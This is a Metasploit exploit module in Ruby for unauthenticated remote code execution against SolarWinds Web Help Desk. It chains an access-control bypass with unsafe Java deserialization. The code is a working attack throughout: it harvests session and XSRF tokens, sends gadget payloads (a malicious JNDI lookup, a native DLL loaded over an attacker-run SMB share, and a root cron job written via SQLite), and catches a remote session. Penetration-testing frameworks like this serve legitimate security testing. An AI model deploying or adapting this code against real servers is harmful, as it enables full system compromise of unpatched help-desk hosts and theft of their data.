## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::JndiInjection include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::EXE include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'SolarWinds Web Help Desk unauthenticated RCE', 'Description' => %q{ This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD) server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jimi Sebree', # Original finder @ horizon3.ai 'sfewer-r7' # MSF module (Based on the Nuclei template by horizon3.ai) ], 'References' => [ # Access control bypass vulnerability ['CVE', '2025-40536'], # Unsafe deserialization for RCE ['CVE', '2025-40551'], # Vendor advisory ['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'], # Technical analysis from horizon3.ai ['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/'] ], 'DisclosureDate' => '2026-01-28', 'Privileged' => true, # Runs as "NT AUTHORITY\SYSTEM" by default on a Windows install. 'Platform' => ['win', 'unix', 'linux'], 'Arch' => [ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'WHD 12.8.* on Windows (Native code payload)', { 'VersionStart' => '12.8', 'Platform' => 'win', 'Arch' => ARCH_X64 # Ships as a Java application running in a x64 java.exe process } ], [ 'WHD 12.8.* on Linux (Command payload)', { 'VersionStart' => '12.8', 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => '\'' }, 'WfsDelay' => 90 # cron can take ~1 minute } ], [ 'WHD 12.7.* on Windows (Command payload)', { 'VersionStart' => '12.7', 'GadgetChain' => 'CommonsBeanutils1', 'Platform' => 'win', 'Arch' => ARCH_CMD } ], [ 'WHD 12.7.* on Linux (Command payload)', { 'VersionStart' => '12.7', 'GadgetChain' => 'CommonsBeanutils1', # Tested against Web Help Desk version 12.7.11.1182 (linux) 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true }, 'Notes' => { # For the 12.8.* target on Windows, the service may crash and restart so we use a stability of # CRASH_SERVICE_RESTARTS, but for all the other targets the stability is CRASH_SAFE. 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] # C:\Program Files\WebHelpDesk\log\whd.log } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check session_ctx = step1_initial_session CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).") rescue Msf::Exploit::Failed => e CheckCode::Unknown(e.to_s) end def exploit print_status('Step 1 - Initial session...') session_ctx = step1_initial_session # Verify the remote target matches the expectations for the Metasploit target's version and platform... fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart'] case target['Platform'] when 'win' fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows when ['unix', 'linux'] fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux else fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.") end session_ctx[:service] = get_target_service(session_ctx) print_status('Step 2 - Login pref page...') external_auth_container = step2_login_pref_page(session_ctx) print_status('Step 3 - Trigger SAML object...') step3_trigger_saml_object(session_ctx, external_auth_container) print_status('Step 4 - Create JSON RPC bridge...') jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx) print_status('Step 5 - Unsafe deserialization...') get_target_gadgets(session_ctx).each do |gadget| print_status(" Executing gadget - #{gadget[:title]}") step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true) Rex::ThreadSafe.sleep(2) end # block untill we get a session, so we dont tear down the SMB/LDAP service prematurly. retry_until_truthy(timeout: datastore['WfsDelay']) do !handler_enabled? || session_created? end unless session_ctx[:service].nil? session_ctx[:service].cleanup end handler ensure cleanup_service end class SimpleSMBShareWrapper < ::Msf::Exploit include ::Msf::Exploit::Remote::SMB::Server::Share end def get_target_service(session_ctx) if target['VersionStart'] == '12.7' start_service return nil end # For 12.8.* targets on Windows, our gadget will force a native code library (a DLL) to be loaded from a UNC path # over SMB. We need to spin up an SMB server with a share to satisfy this. As we already # include Msf::Exploit::Remote::JndiInjection we cannot also include Msf::Exploit::Remote::SMB::Server::Share. To # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately. return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') end # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option. print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)") smb_service = SimpleSMBShareWrapper.new smb_service.datastore['SRVPORT'] = 445 smb_service.datastore['SRVHOST'] = datastore['SRVHOST'] smb_service.setup smb_service.file_contents = generate_payload_dll smb_service.file_name += '.dll' smb_service.start_service({ 'ServerPort' => 445, 'ServerHost' => datastore['SRVHOST'] }) smb_service end def get_target_gadgets(session_ctx) gadgets = [] if target['VersionStart'] == '12.7' # Tested against Web Help Desk version 12.7.11.1182 running on Linux. print_status("Malicious JNDI URL: #{jndi_string}") gadgets.push({ title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource', json_data: { 'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource', # logback-core.jar 'jndiLocation' => jndi_string } }) elsif target['VersionStart'] == '12.8' # We first need to register the org.sqlite.JDBC driver so we can use it, as it may have not already # been registered. By instantiating org.sqlite.JDBC, the classes static initializer will register the driver. gadgets.push({ title: 'Registering the org.sqlite.JDBC driver', json_data: { 'javaClass' => 'org.sqlite.JDBC' } }) if session_ctx[:platform] == :windows print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}") # With the org.sqlite.JDBC driver available, we leverage com.zaxxer.hikari.HikariDataSource to create a sqlite # connection. We use a sqlite in-memory database to avoid touching disk, and we leverage the enable_load_extension # pragma to allow us to load arbitrary native code extensions. Hikari allows us to execute arbitrary SQL statement # when a new database connection is opened. We use this to load a malicious extension that contains a Metasploit # native code payload. # # Tested against Web Help Desk version 12.8.8.2528 running on Windows Server 2022 (NOTE: If you are using # the default Metasploit payloads you will have to disable Defender while testing, alternatively bring your # own payloads). gadgets.push({ title: 'Loading malicious extension over SMB', json_data: { 'javaClass' => 'com.zaxxer.hikari.HikariDataSource', 'driverClassName' => 'org.sqlite.SQLiteDataSource', 'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true', 'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');" } }) elsif session_ctx[:platform] == :linux # Leveraging a dirty file write viw SQLite to a cronjob has been shown to work against some cron daemons: # https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron # However when testing against an Ubuntu system, I get the syslog error: # cron[427]: Error: bad minute; while reading /etc/cron.d/hax_5 # random_name = Rex::Text.rand_text_alpha(8) gadgets.push({ title: "Creating file in /etc/cron.d/#{random_name}", json_data: { 'javaClass' => 'com.zaxxer.hikari.HikariDataSource', 'driverClassName' => 'org.sqlite.SQLiteDataSource', 'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}", 'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);' } }) gadgets.push({ title: "Dirty file write to /etc/cron.d/#{random_name}", json_data: { 'javaClass' => 'com.zaxxer.hikari.HikariDataSource', 'driverClassName' => 'org.sqlite.SQLiteDataSource', 'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}", 'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');" } }) end else fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.") end end # By default, Metasploit will use BeanFactory, but we want CommonsBeanutils1. The gadget chain used here is left # as a target option so we can add new targets (i.e. specific versions of WHD) with ease. def build_ldap_search_response_payload build_ldap_search_response_payload_inline(target['GadgetChain']) end def step1_initial_session res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'), 'headers' => { 'x-webobjects-recording' => '1' } ) fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200 m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"}) fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m version = m[1].gsub('_', '.') vprint_status("Version: #{version}") m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"}) fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m resource_path = Rex::Text.uri_decode(m[1]) # jar:file:////C:/Program%20Files/WebHelpDesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js # jar:file:///usr/local/webhelpdesk/bin/webapps/helpdesk/WEB-INF/lib/Ajax.jar!/WebServerResources/prototype.js platform = if resource_path =~ %r{file:////.:/} :windows else resource_path =~ %r{file:///Applications/} ? :mac : :linux end vprint_status("Platform: #{platform}") cookies = res.get_cookies jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid vprint_status("JSESSIONID: #{jsessionid}") xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token vprint_status("XSRF-TOKEN: #{xsrf_token}") x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}") { version: version, platform: platform, jsessionid: jsessionid, xsrf_token: xsrf_token, x_webobjects_session_id: x_webobjects_session_id } end def step2_login_pref_page(session_ctx) res = send_request_cgi( 'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'vars_get' => { Rex::Text.rand_text_alpha(8) => '/ajax/', 'wopage' => 'LoginPref' } ) fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200 m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)}) fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m external_auth_container = m[1] vprint_status("externalAuthContainer: #{external_auth_container}") external_auth_container end def step3_trigger_saml_object(session_ctx, external_auth_container) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, external_auth_container), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}" ) fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200 end def step4_create_jsonrpc_bridge(session_ctx) res = send_request_cgi( 'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'vars_get' => { Rex::Text.rand_text_alpha(8) => '/ajax/', 'wopage' => 'LoginPref' } ) fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200 m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);}) fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m jsonrpc_client = m[1] vprint_status("JSONRpcClient: #{jsonrpc_client}") jsonrpc_client end def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false) random_id = rand(1..0xffff) random_name = Rex::Text.rand_text_alpha(8) # whd-core.jar!com.macsdesign.util.MDSApplication.isWhitelisted allowlist = [ 'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed', 'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf' ] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'data' => { Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}", 'id' => random_id, 'method' => 'wopage.setVariableValueForName', 'params' => [ random_name, json_data ] }.to_json ) fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200 res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client), 'headers' => { 'X-Xsrf-Token' => session_ctx[:xsrf_token], 'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}" }, 'data' => { Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}", 'id' => random_id, 'method' => 'wopage.variableValueForName', 'params' => [random_name] }.to_json ) unless return_early fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200 end end end